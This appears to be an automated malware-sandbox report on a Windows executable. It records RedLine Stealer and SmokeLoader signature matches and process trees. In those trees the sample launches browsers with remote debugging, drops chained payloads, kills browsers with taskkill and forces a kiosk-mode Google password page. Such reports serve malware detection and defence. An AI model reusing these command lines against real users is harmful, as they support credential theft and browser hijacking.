Source: 2533b4b8c7.exe.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000002.2619264905.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2614456358.000000000B7C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000012.00000002.3325152088.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.3323737933.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: file.exe	Static PE information: Section: loxwmvpm ZLIB complexity 0.9947971873107208
Source: random[1].exe.17.dr	Static PE information: Section: loxwmvpm ZLIB complexity 0.9947971873107208
Source: 815f2a8fe8.exe.17.dr	Static PE information: Section: loxwmvpm ZLIB complexity 0.9947971873107208
Source: random[1].exe1.17.dr	Static PE information: Section: ZLIB complexity 0.9975129757785467
Source: random[1].exe1.17.dr	Static PE information: Section: kcjzlwkt ZLIB complexity 0.9946914618549823
Source: feb3d39b6a.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9975129757785467
Source: feb3d39b6a.exe.17.dr	Static PE information: Section: kcjzlwkt ZLIB complexity 0.9946914618549823

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@81/79@50/17

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\MO0A388L.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\JKECGDBFCB.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.2362973494.0000000005549000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225538035.0000000005555000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2978944950.0000000005603000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2954831207.00000000055F4000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2955299029.00000000055D5000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3123638554.0000000005675000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3181790785.000000000568D000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3122063165.0000000005694000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2611716092.000000000566C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2618267474.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2188,i,15960118764886269658,6532933888206594195,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2064,i,2810652409012286938,13931137755931519812,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2124,i,13202406823747030599,15920737629403327339,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKECGDBFCB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKECGDBFCB.exe "C:\Users\user\Documents\JKECGDBFCB.exe"
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe "C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f89380b-e895-40d1-9424-18fcfa5174fc} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132aa86e310 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4400 -parentBuildID 20230927232528 -prefsHandle 3648 -prefMapHandle 3968 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2f51042-99a7-4863-8fea-e445d15025a5} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132bd2afe10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKECGDBFCB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2188,i,15960118764886269658,6532933888206594195,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Documents\JKECGDBFCB.exe "C:\Users\user\Documents\JKECGDBFCB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2064,i,2810652409012286938,13931137755931519812,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2124,i,13202406823747030599,15920737629403327339,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKECGDBFCB.exe "C:\Users\user\Documents\JKECGDBFCB.exe"	Jump to behavior
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe "C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe "C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe "C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe "C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe "C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe"
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f89380b-e895-40d1-9424-18fcfa5174fc} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132aa86e310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4400 -parentBuildID 20230927232528 -prefsHandle 3648 -prefMapHandle 3968 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2f51042-99a7-4863-8fea-e445d15025a5} 1992 "\\.\pipe\gecko-crash-server-pipe.1992" 132bd2afe10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
